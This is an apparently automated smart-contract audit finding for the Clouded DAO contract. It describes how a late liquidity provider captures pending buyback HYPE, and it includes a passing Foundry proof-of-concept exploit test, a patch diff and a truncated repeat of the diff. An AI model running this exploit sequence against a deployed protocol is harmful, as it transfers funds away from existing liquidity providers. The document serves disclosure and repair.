Clouded › V12 Security Audit › Finding 1 of 18

Pending buybacks can be captured by late LPs

Critical#298489Validity: Unreviewed

Comment:

pendingHYPE accumulates only when the buyback cannot execute — either because the pool holds too few DAO tokens to swap out, or because the price impact would exceed the TWAP-based slippage guard. This is by design — to protect LPs from sharp price swings.

Large buybacks originate from slashing events only executed when a market resolves, which are publicly observable and predictable on-chain. When a significant buyback is anticipated, the 30-minute TWAP window gives LPs time to add DAO tokens to the pool, deepening reserves ahead of execution. This is the intended market mechanism: the TWAP delay creates an arbitrage incentive that naturally attracts liquidity precisely when the pool needs it most to absorb the incoming HYPE.

Source locations

Uploaded archive/CloudedDAO.sol (3 locations)

Lines 184-218 — _Buyback HYPE is accumulated in pendingHYPE and later promoted to reserveHYPE without changing totalLP._

    function buyBack() external payable nonReentrant isJury {
        pendingHYPE += msg.value;

        if (totalLP == 0) {
            uint256 _initialAmount = pendingHYPE;
            _mint(address(this), _initialAmount);
            pendingHYPE         -= _initialAmount;
            reserveHYPE         += _initialAmount;
            reserveDAO          += _initialAmount;
            totalLP             += _initialAmount;
            lpOf[address(this)] += _initialAmount;
            priceUpdatedAt_  = block.timestamp;
            oracleUpdatedAt_ = block.timestamp;
            oraclePrice_     = DECIMALS * reserveDAO / reserveHYPE;
        }

        _updateBuyBackOracle();

        uint256 _hypeIn = pendingHYPE;
        uint256 _hypeInAfterFee = _hypeIn * FEE_NUM;
        uint256 _daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);

        uint256 _oracleReserveDAO = reserveHYPE * oraclePrice_ / DECIMALS; //  // oraclePrice_ = oracleReserveDAO / reserveHYPE × DECIMALS
        uint256 _minDaoOut = _hypeInAfterFee * _oracleReserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
        _minDaoOut = _minDaoOut * (BPS_DEN - MAX_BUYBACK_DEVIATION_BPS) / BPS_DEN;

        if (_daoOut > 0 && _daoOut >= _minDaoOut) {
            pendingHYPE -= _hypeIn;
            reserveHYPE += _hypeIn;
            reserveDAO  -= _daoOut;
            _burn(address(this), _daoOut);
        }
        else _daoOut = 0;

        emit BuyBack(msg.value, _daoOut, reserveHYPE, reserveDAO);
⋯ code omitted for brevity ⋯

Lines 221-246 — _Liquidity is priced and minted from reserves only, excluding pendingHYPE._

    function addLiquidity(uint256 _daoAmount, uint256 _minLpOut, uint256 _deadline) external payable nonReentrant returns (uint256 lpAdded) {
        require(block.timestamp <= _deadline, "Expired");
        require(balanceOf(msg.sender) >= _daoAmount, "Insufficient balance");

        uint256 _hypeAmount = msg.value;
        require(_hypeAmount > 0 && _daoAmount > 0, "Zero amount");

        uint256 _hypeUsed; uint256 _daoUsed; uint256 _hypeRefund; uint256 _daoRefund;
        (lpAdded, _hypeUsed, _daoUsed, _hypeRefund, _daoRefund) = _calculateAddLiquidity(_hypeAmount, _daoAmount);
        require(lpAdded > 0 && lpAdded >= _minLpOut, "Insufficient LP minted");

        _updateBuyBackOracle();

        lpOf[msg.sender] += lpAdded;
        totalLP          += lpAdded;
        reserveHYPE      += _hypeUsed;
        reserveDAO       += _daoUsed;

        _update(msg.sender, address(this), _daoUsed);

        if (_hypeRefund > 0) {
            (bool _success, ) = msg.sender.call{value: _hypeRefund}("");
            require(_success, "Refund failed");
        }

        emit AddLiquidity(msg.sender, lpAdded, _hypeUsed, _daoUsed, _hypeRefund, _daoRefund, lpOf[msg.sender], totalLP, reserveHYPE, reserveDAO);
⋯ code omitted for brevity ⋯

Lines 249-270 — _LP redemption pays the provider's proportional share of the post-buyback reserves._

    function removeLiquidity(uint256 _lp, uint256 _minHypeOut, uint256 _minDaoOut, uint256 _deadline) external nonReentrant returns (uint256 hype, uint256 dao) {
        require(lpOf[msg.sender] >= _lp && _lp > 0, "Insufficient LP");
        require(block.timestamp <= _deadline, "Expired");

        hype = _lp * reserveHYPE / totalLP;
        dao  = _lp * reserveDAO / totalLP;
        require(hype > 0 && dao > 0, "Zero output");
        require(hype >= _minHypeOut && dao >= _minDaoOut, "Exceed slippage");

        _updateBuyBackOracle();

        lpOf[msg.sender] -= _lp;
        totalLP          -= _lp;
        reserveHYPE      -= hype;
        reserveDAO       -= dao;

        _update(address(this), msg.sender, dao);

        (bool _success, ) = msg.sender.call{value: hype}("");
        require(_success, "HYPE transfer failed");

        emit RemoveLiquidity(msg.sender, _lp, hype, dao, lpOf[msg.sender], totalLP, reserveHYPE, reserveDAO);

Description

buyBack retains incoming HYPE in pendingHYPE when its oracle-deviation condition fails, while addLiquidity calculates LP against only reserveHYPE and reserveDAO. A provider can therefore add ratio-matched liquidity while pending buyback HYPE is excluded from the pool accounting. When a later buyback succeeds, the entire pending amount is moved into reserveHYPE without minting corresponding LP, so the new provider receives a proportional claim on HYPE that was already present before its deposit. The sequence is reachable with a prior spot/TWAP deviation, an account holding DAO tokens, and a later jury-triggered buyback; the provider can then remove its LP at the enlarged reserves.

Root cause

Pending buyback HYPE is treated as an unallocated balance, but LP entry does not reserve it against new providers or otherwise snapshot the pre-pending claimant set. The later promotion of pendingHYPE into reserveHYPE changes the asset backing without a corresponding LP accounting adjustment.

Impact

The provider can dilute pre-existing LP holders and capture part of protocol HYPE that accrued before the provider entered. Repeated or large pending buybacks make the value transfer material, particularly where buyback execution is delayed by the deviation guard.

Proof of concept

Test case

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {Test} from "forge-std/Test.sol";
import {Clouded} from "../src/Clouded.sol";
import {CloudedDAO} from "../src/CloudedDAO.sol";
import {CloudedJury} from "../src/CloudedJury.sol";
import {CloudedManager} from "../src/CloudedManager.sol";

contract ManagerTokenMock {
    mapping(address => uint256) private balances;
    uint256 private supply;

    function configure(address holder, uint256 amount) external {
        supply = amount;
        balances[holder] = amount;
    }

    function balanceOf(address account) external view returns (uint256) { return balances[account]; }
    function totalSupply() external view returns (uint256) { return supply; }
}

contract PocTest is Test {
    address internal constant GOVERNANCE_TOKEN = 0x668f6C73b2e6d023f758B18973065Ce2c11BDD7B;

    address internal admin = makeAddr("manager-admin");
    address internal bootstrapper = makeAddr("bootstrapper");
    address internal attacker = makeAddr("late-lp-attacker");
    address internal pendingSource = makeAddr("pending-buyback-source");
    address internal releaseSource = makeAddr("release-buyback-source");

    CloudedManager internal manager;
    CloudedJury internal jury;
    Clouded internal clouded;
    CloudedDAO internal dao;

    function setUp() public {
        ManagerTokenMock implementation = new ManagerTokenMock();
        vm.etch(GOVERNANCE_TOKEN, address(implementation).code);
        ManagerTokenMock(GOVERNANCE_TOKEN).configure(admin, 100 ether);

        manager = new CloudedManager();
        jury = new CloudedJury("Clouded Jury", "JURY", address(manager));
        clouded = new Clouded("ipfs://clouded/", address(manager), address(jury));
        dao = new CloudedDAO("Clouded DAO", "CDAO", address(jury), address(clouded));

        vm.startPrank(admin);
        manager.updateJuryAddrs(address(jury), address(clouded), address(dao));
        manager.updateCloudedAddr(address(clouded));
        manager.addToWhitelist(bootstrapper);
        manager.addToWhitelist(pendingSource);
        manager.addToWhitelist(releaseSource);
        vm.stopPrank();

        vm.deal(bootstrapper, 100 ether);
        vm.deal(attacker, 100 ether);
        vm.deal(pendingSource, 100 ether);
        vm.deal(releaseSource, 100 ether);

        vm.prank(bootstrapper);
        jury.mint{value: 15 ether}(5);
        assertGt(dao.totalLP(), 0, "DAO AMM initialized by real buyBack");
        assertEq(dao.pendingHYPE(), 0, "initial buyback was fully allocated");
    }

    function testLateLPAccruesPreExistingPendingBuybackHype() public {
        // Public swap creates the spot/TWAP deviation and gives the attacker DAO tokens.
        vm.prank(attacker);
        dao.swapHYPEForDAO{value: 1 ether}(0, type(uint256).max);
        assertGt(dao.balanceOf(attacker), 0, "attacker acquired DAO through public swap");

        // Real public juror mint calls CloudedJury.mint -> CloudedDAO.buyBack; the
        // buyback fails the stale-oracle deviation guard and leaves HYPE pending.
        vm.prank(pendingSource);
        jury.mint{value: 3 ether}(1);
        uint256 pendingBeforeAttack = dao.pendingHYPE();
        assertGt(pendingBeforeAttack, 0, "buyback HYPE is pending before attacker LP entry");

        // The late LP entry is priced only from reserveHYPE/reserveDAO. pendingHYPE is
        // not included in the denominator, so the LP's immediate HYPE claim is only its deposit.
        uint256 hypeDepositedByAttacker = 0.1 ether;
        uint256 attackerDaoOffered = dao.balanceOf(attacker);
        (uint256 expectedLp,,,,) = dao.quoteAddLiquidity(hypeDepositedByAttacker, attackerDaoOffered);
        assertGt(expectedLp, 0, "attacker can mint LP at the current reserve ratio");

        vm.prank(attacker);
        dao.addLiquidity{value: hypeDepositedByAttacker}(attackerDaoOffered, 0, type(uint256).max);
        uint256 attackerLp = dao.lpOf(attacker);
        assertEq(attackerLp, expectedLp, "attacker received reserve-priced LP");

        (uint256 hypeClaimBeforeRelease,) = dao.quoteRemoveLiquidity(attackerLp);
        assertApproxEqAbs(
            hypeClaimBeforeRelease,
            hypeDepositedByAttacker,
            100,
            "pending HYPE was excluded from entry accounting except for rounding"
        );

        // A later real buyback after the oracle period consumes all pendingHYPE and
        // increases reserveHYPE without changing totalLP.
        vm.warp(block.timestamp + 31 minutes);
        uint256 totalLpBeforeRelease = dao.totalLP();
        vm.prank(releaseSource);
        jury.mint{value: 3 ether}(1);
        assertEq(dao.pendingHYPE(), 0, "later real buyback consumed all pending HYPE");
        assertEq(dao.totalLP(), totalLpBeforeRelease, "pending promotion minted no compensating LP");

        (uint256 hypeClaimAfterRelease,) = dao.quoteRemoveLiquidity(attackerLp);
        assertGt(
            hypeClaimAfterRelease,
            hypeClaimBeforeRelease,
            "late LP gained a claim on buyback HYPE that was pending before its deposit"
        );

        uint256 attackerHypeBeforeRemove = attacker.balance;
        vm.prank(attacker);
        dao.removeLiquidity(attackerLp, 0, 0, type(uint256).max);
        uint256 attackerHypeReceived = attacker.balance - attackerHypeBeforeRemove;
        assertEq(attackerHypeReceived, hypeClaimAfterRelease, "removeLiquidity paid the enlarged post-buyback claim");
        assertGt(attackerHypeReceived, hypeDepositedByAttacker, "attacker withdrew more HYPE than it added as LP");
    }
}

Setup script

#!/bin/bash
set -e

# Standalone PoC reproduction. Run from the repository root of a checkout at
# the audited commit, with the language toolchain installed.

# Place the downloaded PoC files at these paths before running:
#   test/Poc.t.sol

# build and run
cp Clouded.sol CloudedDAO.sol CloudedJury.sol CloudedManager.sol src/ && forge build
forge test --match-path test/Poc.t.sol -vv

Output

[output truncated: 1169 lines & 64.203125 KB skipped]
[test] forge test --match-path test/Poc.t.sol -vv
[test] exit code: 0

No files changed, compilation skipped

Ran 1 test for test/Poc.t.sol:PocTest
[PASS] testLateLPAccruesPreExistingPendingBuybackHype() (gas: 823170)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.72ms (419.69µs CPU time)

Ran 1 test suite in 11.10ms (2.72ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Considerations

PoC demonstrates the accounting capture on the configured Foundry unit harness by driving real public CloudedJury.mint -> CloudedDAO.buyBack, CloudedDAO.swapHYPEForDAO, addLiquidity, and removeLiquidity. It uses manager setup only to deploy/wire the protocol and whitelist minting accounts, matching the harness deployment recipe; the exploit sequence itself uses non-privileged public entry points. The test models a spot/oracle deviation with a public swap and waits past the 30-minute oracle period so a later jury-triggered buyback succeeds.

Validation reasoning

PoC validation command completed successfully.

Remediation

Explanation

Block LP entry whenever HYPE is awaiting buyback allocation. Existing LP ownership therefore remains fixed until the pending amount is consumed, preventing a later provider from receiving shares in HYPE that accrued before its deposit.

Patch

diff
diff --git a/src/CloudedDAO.sol b/src/CloudedDAO.sol
--- a/src/CloudedDAO.sol
+++ b/src/CloudedDAO.sol
@@ -1,362 +1,363 @@
 // SPDX-License-Identifier: MIT
 
 pragma solidity ^0.8.24;
 
 import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
 import { ReentrancyGuardTransient } from "@openzeppelin/contracts/utils/ReentrancyGuardTransient.sol";
 
 library Ids {
     struct Set {
         uint256[] ids;
         mapping(uint256 => uint256) positions;
     }
 
     function add(Set storage set, uint256 _id) internal {
         if (set.positions[_id] == 0) {
             set.ids.push(_id);
             set.positions[_id] = set.ids.length; // skip index 0 for non existing element
         }
     }
 
     function remove(Set storage set, uint256 _id) internal {
         uint256 _position = set.positions[_id];
         if (_position != 0) {
             uint256 _index = _position - 1;
             uint256 _lastIndexId = set.ids[set.ids.length - 1];
             set.ids[_index] = _lastIndexId;
             set.positions[_lastIndexId] = _position;
             set.ids.pop();
             delete set.positions[_id];
         }
     }
 
     function isSet(Set storage set, uint256 _id) internal view returns (bool) { return set.positions[_id] != 0; }
 
     function getId(Set storage set, uint256 _position) internal view returns (uint256) { return set.ids[_position]; }
 
     function getAll(Set storage set) internal view returns (uint256[] memory) { return set.ids; }
 
     function getLength(Set storage set) internal view returns (uint256) { return set.ids.length; }
 }
 
 interface IJury { function updateMarketStatus(uint256) external returns (uint8); }
 
 interface IClouded { function getOutcomeMarketId(uint256) external view returns (uint256); }
 
 contract CloudedDAO is ERC20, ReentrancyGuardTransient {
     using Ids for Ids.Set;
 
     event StakeToVote(address indexed voter, uint256 indexed marketId, uint256 indexed outcomeId, uint256 amount, uint256 outcomeVotes);
     event Unstake(address indexed voter, uint256 indexed marketId, uint256 indexed outcomeId, uint256 amount, uint256 outcomeVotes);
     event BuyBack(uint256 hypeReward, uint256 daoBurned, uint256 reserveHYPE, uint256 reserveDAO);
     event AddLiquidity(address indexed provider, uint256 lpAdded, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund, uint256 lpOf, uint256 totalLP, uint256 reserveHYPE, uint256 reserveDAO);
     event RemoveLiquidity(address indexed provider, uint256 lpRemoved, uint256 hype, uint256 dao, uint256 lpOf, uint256 totalLP, uint256 reserveHYPE, uint256 reserveDAO);
     event Swap(address indexed user, uint256 hypeIn, uint256 daoIn, uint256 hypeOut, uint256 daoOut, uint256 reserveHYPE, uint256 reserveDAO);
 
     address public immutable JURY;
     address public immutable CLOUDED;
     uint256 constant DECIMALS = 1e18;
     uint256 private constant FEE_NUM = 997;
     uint256 private constant FEE_DEN = 1000;
 
     uint256 private constant BPS_DEN = 10000;
     uint256 private constant MAX_BUYBACK_DEVIATION_BPS = 2000;
     uint256 private constant ORACLE_PERIOD = 30 minutes;
 
     uint256 private priceCumulative_;
     uint256 private priceUpdatedAt_;
     uint256 private oraclePrice_;
     uint256 private oracleCumulative_;
     uint256 private oracleUpdatedAt_;
 
     mapping(uint256 => uint256) public  outcomeVotes;
     mapping(address => Ids.Set) private voterActiveOutcomeIds_;
     mapping(address => mapping(uint256 => uint256)) private outcomeStakeOf_;
 
     uint256 public pendingHYPE;
     uint256 public reserveHYPE;
     uint256 public reserveDAO;
     uint256 public totalLP;
 
     mapping(address => uint256) public lpOf;
 
     modifier isJury() { require(msg.sender == JURY, "Not authorized"); _; }
 
     constructor(string memory _name, string memory _symbol, address _juryAddr, address _cloudedAddr) ERC20(_name, _symbol) {
         JURY = _juryAddr;
         CLOUDED = _cloudedAddr;
     }
 
     function getVoterActiveOutcomeIds(address _voterAddr) external view returns (uint256[] memory) { return voterActiveOutcomeIds_[_voterAddr].getAll(); }
 
     function getVoterOutcomeVotes(address _voterAddr, uint256[] memory _outcomeIds) external view returns (uint256[] memory voterOutcomeVotes) {
         voterOutcomeVotes = new uint256[](_outcomeIds.length);
         for (uint256 i = 0; i < _outcomeIds.length; i++) { voterOutcomeVotes[i] = outcomeStakeOf_[_voterAddr][_outcomeIds[i]]; }
     }
 
     function getOutcomeVoteInBatch(uint256[] memory _outcomeIds) external view returns (uint256[] memory voterOutcomeVotes) {
         voterOutcomeVotes = new uint256[](_outcomeIds.length);
         for (uint256 i = 0; i < _outcomeIds.length; i++) { voterOutcomeVotes[i] = outcomeVotes[_outcomeIds[i]]; }
     }
 
     function getPool() external view returns (uint256, uint256, uint256) { return (reserveHYPE, reserveDAO, totalLP); }
 
     function getUserPosition(address _addr) external view returns (uint256 hypeBalance, uint256 daoBalance, uint256 lp, uint256 poolShareBPS, uint256 poolHYPE, uint256 poolDAO) {
         hypeBalance = address(_addr).balance;
         daoBalance  = balanceOf(_addr);
         lp          = lpOf[_addr];
         if (totalLP > 0 && lp > 0) {
             poolShareBPS = lp * 10000 / totalLP;
             poolHYPE     = lp * reserveHYPE / totalLP;
             poolDAO      = lp * reserveDAO  / totalLP;
         }
     }
 
     function quoteAddLiquidity(uint256 _hypeAmount, uint256 _daoAmount) external view returns (uint256 lp, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund) {
         require(_hypeAmount > 0 || _daoAmount > 0, "Input amount");
 
         if (totalLP == 0) require(_hypeAmount > 0 && _daoAmount > 0, "Add both tokens to initiate pool");
 
         if (_hypeAmount > 0 && _daoAmount == 0) { _daoAmount  = _hypeAmount * reserveDAO  / reserveHYPE; }
         if (_daoAmount > 0 && _hypeAmount == 0) { _hypeAmount = _daoAmount  * reserveHYPE / reserveDAO; }
 
         (lp, hypeUsed, daoUsed, hypeRefund, daoRefund) = _calculateAddLiquidity(_hypeAmount, _daoAmount);
     }
 
     function quoteRemoveLiquidity(uint256 _lp) external view returns (uint256 hype, uint256 dao) {
         require(_lp != 0 && totalLP != 0, "No liquidity in the pool");
         hype = _lp * reserveHYPE / totalLP;
         dao  = _lp * reserveDAO  / totalLP;
     }
 
     function quoteHYPEForDAO(uint256 _hypeIn, uint256 _slippageBPS) external view returns (uint256 daoOut, uint256 minDaoOut) {
         require(_hypeIn > 0, "Zero input");
 
         uint256 _hypeInAfterFee = _hypeIn * FEE_NUM;
         daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
         minDaoOut = daoOut * (10000 - _slippageBPS) / 10000;
     }
 
     function quoteDAOForHYPE(uint256 _daoIn, uint256 _slippageBPS) external view returns (uint256 hypeOut, uint256 minHypeOut) {
         require(_daoIn > 0, "Zero input");
 
         uint256 _daoInAfterFee = _daoIn * FEE_NUM;
         hypeOut = _daoInAfterFee * reserveHYPE / (reserveDAO * FEE_DEN + _daoInAfterFee);
 
         minHypeOut = hypeOut * (10000 - _slippageBPS) / 10000;
     }
 
     function mint(address _to, uint256 _amount) external nonReentrant isJury { _mint(_to, _amount); }
 
     function stakeToVote(uint256 _outcomeId, uint256 _amount) external nonReentrant {
         require(_amount > 0, "Amount must be greater than 0");
         require(balanceOf(msg.sender) >= _amount * DECIMALS, "Insufficient balance");
 
         uint256 _outcomeMarketId  = IClouded(CLOUDED).getOutcomeMarketId(_outcomeId);
         require(_outcomeMarketId != 0, "Invalid outcome id");
 
         uint8   _status = IJury(JURY).updateMarketStatus(_outcomeMarketId);
         require(_status == 3, "Not voting window");
 
         outcomeStakeOf_[msg.sender][_outcomeId] += _amount;
         outcomeVotes[_outcomeId]                += _amount;
         voterActiveOutcomeIds_[msg.sender].add(_outcomeId);
         _update(msg.sender, address(this), _amount * DECIMALS);
 
         emit StakeToVote(msg.sender, _outcomeMarketId, _outcomeId, _amount, outcomeVotes[_outcomeId]);
     }
 
     function unstake(uint256 _outcomeId) external nonReentrant {
         require(outcomeStakeOf_[msg.sender][_outcomeId] > 0, "No token staked");
         uint256 _outcomeStakeOf = outcomeStakeOf_[msg.sender][_outcomeId];
         outcomeStakeOf_[msg.sender][_outcomeId] = 0;
 
         uint256 _outcomeMarketId = IClouded(CLOUDED).getOutcomeMarketId(_outcomeId);
         uint8 _status = IJury(JURY).updateMarketStatus(_outcomeMarketId);
         if (_status == 3) outcomeVotes[_outcomeId] -= _outcomeStakeOf;
 
         voterActiveOutcomeIds_[msg.sender].remove(_outcomeId);
         _update(address(this), msg.sender, _outcomeStakeOf * DECIMALS);
 
         emit Unstake(msg.sender, _outcomeMarketId, _outcomeId, _outcomeStakeOf, outcomeVotes[_outcomeId]);
     }
 
     function buyBack() external payable nonReentrant isJury {
         pendingHYPE += msg.value;
 
         if (totalLP == 0) {
             uint256 _initialAmount = pendingHYPE;
             _mint(address(this), _initialAmount);
             pendingHYPE         -= _initialAmount;
             reserveHYPE         += _initialAmount;
             reserveDAO          += _initialAmount;
             totalLP             += _initialAmount;
             lpOf[address(this)] += _initialAmount;
             priceUpdatedAt_  = block.timestamp;
             oracleUpdatedAt_ = block.timestamp;
             oraclePrice_     = DECIMALS * reserveDAO / reserveHYPE;
         }
 
         _updateBuyBackOracle();
 
         uint256 _hypeIn = pendingHYPE;
         uint256 _hypeInAfterFee = _hypeIn * FEE_NUM;
         uint256 _daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
 
         uint256 _oracleReserveDAO = reserveHYPE * oraclePrice_ / DECIMALS; //  // oraclePrice_ = oracleReserveDAO / reserveHYPE × DECIMALS
         uint256 _minDaoOut = _hypeInAfterFee * _oracleReserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
         _minDaoOut = _minDaoOut * (BPS_DEN - MAX_BUYBACK_DEVIATION_BPS) / BPS_DEN;
 
         if (_daoOut > 0 && _daoOut >= _minDaoOut) {
             pendingHYPE -= _hypeIn;
             reserveHYPE += _hypeIn;
             reserveDAO  -= _daoOut;
             _burn(address(this), _daoOut);
         }
         else _daoOut = 0;
 
         emit BuyBack(msg.value, _daoOut, reserveHYPE, reserveDAO);
     }
 
     function addLiquidity(uint256 _daoAmount, uint256 _minLpOut, uint256 _deadline) external payable nonReentrant returns (uint256 lpAdded) {
         require(block.timestamp <= _deadline, "Expired");
         require(balanceOf(msg.sender) >= _daoAmount, "Insufficient balance");
 
         uint256 _hypeAmount = msg.value;
         require(_hypeAmount > 0 && _daoAmount > 0, "Zero amount");
+        require(pendingHYPE == 0, "Buyback pending");
 
         uint256 _hypeUsed; uint256 _daoUsed; uint256 _hypeRefund; uint256 _daoRefund;
         (lpAdded, _hypeUsed, _daoUsed, _hypeRefund, _daoRefund) = _calculateAddLiquidity(_hypeAmount, _daoAmount);
         require(lpAdded > 0 && lpAdded >= _minLpOut, "Insufficient LP minted");
 
         _updateBuyBackOracle();
 
         lpOf[msg.sender] += lpAdded;
         totalLP          += lpAdded;
         reserveHYPE      += _hypeUsed;
         reserveDAO       += _daoUsed;
 
         _update(msg.sender, address(this), _daoUsed);
 
         if (_hypeRefund > 0) {
             (bool _success, ) = msg.sender.call{value: _hypeRefund}("");
             require(_success, "Refund failed");
         }
 
         emit AddLiquidity(msg.sender, lpAdded, _hypeUsed, _daoUsed, _hypeRefund, _daoRefund, lpOf[msg.sender], totalLP, reserveHYPE, reserveDAO);
     }
 
     function removeLiquidity(uint256 _lp, uint256 _minHypeOut, uint256 _minDaoOut, uint256 _deadline) external nonReentrant returns (uint256 hype, uint256 dao) {
         require(lpOf[msg.sender] >= _lp && _lp > 0, "Insufficient LP");
         require(block.timestamp <= _deadline, "Expired");
 
         hype = _lp * reserveHYPE / totalLP;
         dao  = _lp * reserveDAO / totalLP;
         require(hype > 0 && dao > 0, "Zero output");
         require(hype >= _minHypeOut && dao >= _minDaoOut, "Exceed slippage");
 
         _updateBuyBackOracle();
 
         lpOf[msg.sender] -= _lp;
         totalLP          -= _lp;
         reserveHYPE      -= hype;
         reserveDAO       -= dao;
 
         _update(address(this), msg.sender, dao);
 
         (bool _success, ) = msg.sender.call{value: hype}("");
         require(_success, "HYPE transfer failed");
 
         emit RemoveLiquidity(msg.sender, _lp, hype, dao, lpOf[msg.sender], totalLP, reserveHYPE, reserveDAO);
     }
 
     function swapHYPEForDAO(uint256 _minDaoOut, uint256 _deadline) external payable nonReentrant returns (uint256 daoOut) {
         require(block.timestamp <= _deadline, "Expired");
         require(msg.value > 0, "Zero input");
 
         uint256 _hypeInAfterFee = msg.value * FEE_NUM;
         daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
         require(daoOut >= _minDaoOut && daoOut > 0, "Slippage/zero output");
 
         _updateBuyBackOracle();
 
         reserveHYPE += msg.value;
         reserveDAO  -= daoOut;
         _update(address(this), msg.sender, daoOut);
 
         emit Swap(msg.sender, msg.value, 0, 0, daoOut, reserveHYPE, reserveDAO);
     }
 
     function swapDAOForHYPE(uint256 _daoIn, uint256 _minHypeOut, uint256 _deadline) external nonReentrant returns (uint256 hypeOut) {
         require(block.timestamp <= _deadline, "Expired");
         require(_daoIn > 0, "Zero input");
 
         uint256 _daoInAfterFee = _daoIn * FEE_NUM;
         hypeOut = _daoInAfterFee * reserveHYPE / (reserveDAO * FEE_DEN + _daoInAfterFee);
         require(hypeOut >= _minHypeOut && hypeOut > 0, "Slippage/zero output");
 
         _updateBuyBackOracle();
 
         reserveDAO  += _daoIn;
         reserveHYPE -= hypeOut;
         _update(msg.sender, address(this), _daoIn);
 
         (bool _success, ) = msg.sender.call{value: hypeOut}("");
         require(_success, "HYPE transfer failed");
 
         emit Swap(msg.sender, 0, _daoIn, hypeOut, 0, reserveHYPE, reserveDAO);
     }
 
     function _calculateAddLiquidity(uint256 _hypeAmount, uint256 _daoAmount) private view returns (uint256 lpAdded, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund) {
         if (totalLP == 0) {
             uint256 _sqrtK = _sqrt(_hypeAmount * _daoAmount);
             hypeUsed = _hypeAmount;
             daoUsed  = _daoAmount;
             lpAdded  = _sqrtK;
         } else {
             uint256 _lpByHype = _hypeAmount * totalLP / reserveHYPE;
             uint256 _lpByDAO  = _daoAmount  * totalLP / reserveDAO;
             lpAdded = _lpByHype < _lpByDAO ? _lpByHype : _lpByDAO;
             if (_lpByHype < _lpByDAO) {
                 hypeUsed  = _hypeAmount;
                 daoUsed   = _hypeAmount * reserveDAO / reserveHYPE;
                 daoRefund = _daoAmount - daoUsed;
             } else if (_lpByDAO < _lpByHype) {
                 daoUsed    = _daoAmount;
                 hypeUsed   = _daoAmount * reserveHYPE / reserveDAO;
                 hypeRefund = _hypeAmount - hypeUsed;
             } else {
                 hypeUsed = _hypeAmount;
                 daoUsed  = _daoAmount;
             }
             require(hypeUsed > 0 && daoUsed > 0, "Insufficient liquidity");
         }
     }
 
     function _sqrt(uint256 y) private pure returns (uint256 z) {
         if (y > 3) {
             z = y;
             uint256 x = y / 2 + 1;
             while (x < z) { z = x; x = (y / x + x) / 2; }
         } else if (y != 0) z = 1;
     }
 
     function _updateBuyBackOracle() private {
         if (totalLP == 0) return;
 
         uint256 _timestamp = block.timestamp;
 
         uint256 _priceElapsed = _timestamp - priceUpdatedAt_;
         if (_priceElapsed > 0) {
             priceCumulative_ += (reserveDAO * DECIMALS / reserveHYPE) * _priceElapsed;
             priceUpdatedAt_   = _timestamp;
         }
 
         uint256 _oracleElapsed = _timestamp - oracleUpdatedAt_;
         if (_oracleElapsed >= ORACLE_PERIOD) {
             oraclePrice_      = (priceCumulative_ - oracleCumulative_) / _oracleElapsed;
             oracleCumulative_ = priceCumulative_;
             oracleUpdatedAt_  = _timestamp;
         }
     }
 }
\ No newline at end of file

diff --git a/CloudedDAO.sol b/CloudedDAO.sol
--- a/CloudedDAO.sol
+++ b/CloudedDAO.sol
@@ -1,362 +1,363 @@
 // SPDX-License-Identifier: MIT
 
 pragma solidity ^0.8.24;
 
 import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
 import { ReentrancyGuardTransient } from "@openzeppelin/contracts/utils/ReentrancyGuardTransient.sol";
 
 library Ids {
     struct Set {
         uint256[] ids;
         mapping(uint256 => uint256) positions;
     }
 
     function add(Set storage set, uint256 _id) internal {
         if (set.positions[_id] == 0) {
             set.ids.push(_id);
             set.positions[_id] = set.ids.length; // skip index 0 for non existing element
         }
     }
 
     function remove(Set storage set, uint256 _id) internal {
         uint256 _position = set.positions[_id];
         if (_position != 0) {
             uint256 _index = _position - 1;
             uint256 _lastIndexId = set.ids[set.ids.length - 1];
             set.ids[_index] = _lastIndexId;
             set.positions[_lastIndexId] = _position;
             set.ids.pop();
             delete set.positions[_id];
         }
     }
 
     function isSet(Set storage set, uint256 _id) internal view returns (bool) { return set.positions[_id] != 0; }
 
     function getId(Set storage set, uint256 _position) internal view returns (uint256) { return set.ids[_position]; }
 
     function getAll(Set storage set) internal view returns (uint256[] memory) { return set.ids; }
 
     function getLength(Set storage set) internal view returns (uint256) { return set.ids.length; }
 }
 
 interface IJury { function updateMarketStatus(uint256) external returns (uint8); }
 
 interface IClouded { function getOutcomeMarketId(uint256) external view returns (uint256); }
 
 contract CloudedDAO is ERC20, ReentrancyGuardTransient {
     using Ids for Ids.Set;
 
     event StakeToVote(address indexed voter, uint256 indexed marketId, uint256 indexed outcomeId, uint256 amount, uint256 outcomeVotes);
     event Unstake(address indexed voter, uint256 indexed marketId, uint256 indexed outcomeId, uint256 amount, uint256 outcomeVotes);
     event BuyBack(uint256 hypeReward, uint256 daoBurned, uint256 reserveHYPE, uint256 reserveDAO);
     event AddLiquidity(address indexed provider, uint256 lpAdded, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund, uint256 lpOf, uint256 totalLP, uint256 reserveHYPE, uint256 reserveDAO);
     event RemoveLiquidity(address indexed provider, uint256 lpRemoved, uint256 hype, uint256 dao, uint256 lpOf, uint256 totalLP, uint256 reserveHYPE, uint256 reserveDAO);
     event Swap(address indexed user, uint256 hypeIn, uint256 daoIn, uint256 hypeOut, uint256 daoOut, uint256 reserveHYPE, uint256 reserveDAO);
 
     address public immutable JURY;
     address public immutable CLOUDED;
     uint256 constant DECIMALS = 1e18;
     uint256 private constant FEE_NUM = 997;
     uint256 private constant FEE_DEN = 1000;
 
     uint256 private constant BPS_DEN = 10000;
     uint256 private constant MAX_BUYBACK_DEVIATION_BPS = 2000;
     uint256 private constant ORACLE_PERIOD = 30 minutes;
 
